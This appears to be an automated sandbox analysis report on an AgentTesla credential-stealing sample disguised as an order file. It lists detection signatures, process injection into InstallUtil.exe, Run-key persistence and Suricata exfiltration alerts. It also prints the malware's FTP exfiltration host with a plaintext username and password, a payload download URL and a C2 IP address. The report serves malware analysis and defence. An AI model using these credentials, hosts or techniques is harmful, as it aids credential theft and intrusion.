Edit tour

Windows Analysis Report
GEFA-Order 232343-68983689.exe

Overview

General Information

Sample name:	GEFA-Order 232343-68983689.exe
Analysis ID:	1529933
MD5:	7edaa96c807197b45ffb4f442ab3bfaa
SHA1:	a87db0d82f05e80b4511667c01305993d9265806
SHA256:	359c1e634d4b0d664443dca2ef11d6f5d68dcd381d56845e9212766b8b67e64f
Tags:	exeSPAM-ITAuser-JAMESWT_MHT
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses FTP

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

GEFA-Order 232343-68983689.exe (PID: 7416 cmdline: "C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe" MD5: 7EDAA96C807197B45FFB4F442AB3BFAA)

InstallUtil.exe (PID: 7544 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Fqhnalw.exe (PID: 7784 cmdline: "C:\Users\user\AppData\Roaming\Fqhnalw.exe" MD5: 7EDAA96C807197B45FFB4F442AB3BFAA)

InstallUtil.exe (PID: 7872 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

Fqhnalw.exe (PID: 7972 cmdline: "C:\Users\user\AppData\Roaming\Fqhnalw.exe" MD5: 7EDAA96C807197B45FFB4F442AB3BFAA)

InstallUtil.exe (PID: 8048 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2583924445.00000000031E7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1677808724.00000000042BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1653047795.00000000031F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1410088723.0000000006EA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.1566745789.0000000002F02000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7544	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7544	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7784	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7784	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7784	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7784	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 7872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 7872	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7972	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7972	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7972	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Fqhnalw.exe PID: 7972	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: InstallUtil.exe PID: 8048	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 8048	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 41 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.GEFA-Order 232343-68983689.exe.6ea0000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
2.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.InstallUtil.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33061:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x330d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3315d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x331ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33259:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x332cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33361:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x333f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
2.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3047c:$s2: GetPrivateProfileString 0x2fb9d:$s3: get_OSFullName 0x3118e:$s5: remove_Key 0x3136c:$s5: remove_Key 0x3227a:$s6: FtpWebRequest 0x33043:$s7: logins 0x335b5:$s7: logins 0x362ba:$s7: logins 0x36378:$s7: logins 0x37c7e:$s7: logins 0x36f1c:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31261:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x312d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3135d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x313ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31459:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x314cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31561:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x315f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.GEFA-Order 232343-68983689.exe.44359f8.5.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e67c:$s2: GetPrivateProfileString 0x2dd9d:$s3: get_OSFullName 0x2f38e:$s5: remove_Key 0x2f56c:$s5: remove_Key 0x3047a:$s6: FtpWebRequest 0x31243:$s7: logins 0x317b5:$s7: logins 0x344ba:$s7: logins 0x34578:$s7: logins 0x35e7e:$s7: logins 0x3511c:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Fqhnalw.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe, ProcessId: 7416, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Fqhnalw

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-09T15:01:45.449007+0200	2029927	1	A Network Trojan was detected	192.168.2.9	49766	5.2.84.236	21	TCP
2024-10-09T15:02:02.253420+0200	2029927	1	A Network Trojan was detected	192.168.2.9	49853	5.2.84.236	21	TCP
2024-10-09T15:02:10.076009+0200	2029927	1	A Network Trojan was detected	192.168.2.9	49894	5.2.84.236	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-09T15:01:46.061718+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49775	5.2.84.236	58997	TCP
2024-10-09T15:01:46.068204+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49775	5.2.84.236	58997	TCP
2024-10-09T15:02:02.887826+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49865	5.2.84.236	63612	TCP
2024-10-09T15:02:02.893477+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49865	5.2.84.236	63612	TCP
2024-10-09T15:02:10.692825+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49905	5.2.84.236	65429	TCP
2024-10-09T15:02:10.698545+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49905	5.2.84.236	65429	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: GEFA-Order 232343-68983689.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe

Avira: detection malicious, Label: HEUR/AGEN.1309900

Found malware configuration

Source: 2.2.InstallUtil.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.alternatifplastik.com", "Username": "fgghv@alternatifplastik.com", "Password": "Fineboy777@"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: GEFA-Order 232343-68983689.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: GEFA-Order 232343-68983689.exe

Joe Sandbox ML: detected

Source: GEFA-Order 232343-68983689.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.9:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.9:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.9:49870 version: TLS 1.2

Source: GEFA-Order 232343-68983689.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004201000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1410426662.0000000006F50000.00000004.08000000.00040000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1585499252.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1677808724.00000000041E8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.000000000313D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: GEFA-Order 232343-68983689.exe, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000043AA000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.0000000004201000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1410426662.0000000006F50000.00000004.08000000.00040000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1585499252.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.000000000306C000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1677808724.00000000041E8000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.000000000313D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1409541914.0000000006D80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06F3DDF5h	0_2_06F3DD70
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06F3DDF5h	0_2_06F3DD60
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06F3D59Dh	0_2_06F3D248
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 4x nop then jmp 06F3D59Dh	0_2_06F3D238
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06B4DDF5h	4_2_06B4DD70
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06B4DDF5h	4_2_06B4DD60
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06B4D59Dh	4_2_06B4D238
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06B4D59Dh	4_2_06B4D248
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06BCB12Fh	6_2_06BCAE22
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06BEDDF5h	6_2_06BEDD70
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06BEDDF5h	6_2_06BEDD60
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06BED59Dh	6_2_06BED238
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Code function: 4x nop then jmp 06BED59Dh	6_2_06BED248

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.9:49775 -> 5.2.84.236:58997
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.9:49766 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.9:49865 -> 5.2.84.236:63612
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.9:49853 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2029927 - Severity 1 - ET MALWARE AgentTesla Exfil via FTP : 192.168.2.9:49894 -> 5.2.84.236:21
Source: Network traffic	Suricata IDS: 2855542 - Severity 1 - ETPRO MALWARE Agent Tesla CnC Exfil Activity : 192.168.2.9:49905 -> 5.2.84.236:65429

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 5.2.84.236 ports 63612,65429,1,58997,2,21

Source: global traffic

TCP traffic: 192.168.2.9:49775 -> 5.2.84.236:58997

Source: global traffic	HTTP traffic detected: GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 5.2.84.236 5.2.84.236

Source: Joe Sandbox View

ASN Name: ALASTYRTR ALASTYRTR

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

FTP traffic detected: 5.2.84.236:21 -> 192.168.2.9:49766 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /manxz/Pqbrsrcnsx.mp4 HTTP/1.1Host: rubberpartsmanufacturers.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: rubberpartsmanufacturers.com
Source: global traffic	DNS traffic detected: DNS query: ftp.alternatifplastik.com

Source: InstallUtil.exe, 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1570412470.0000000002E0C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1655327124.000000000340C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2583924445.000000000320C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.alternatifplastik.com
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003201000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002EB1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003018000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2583924445.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
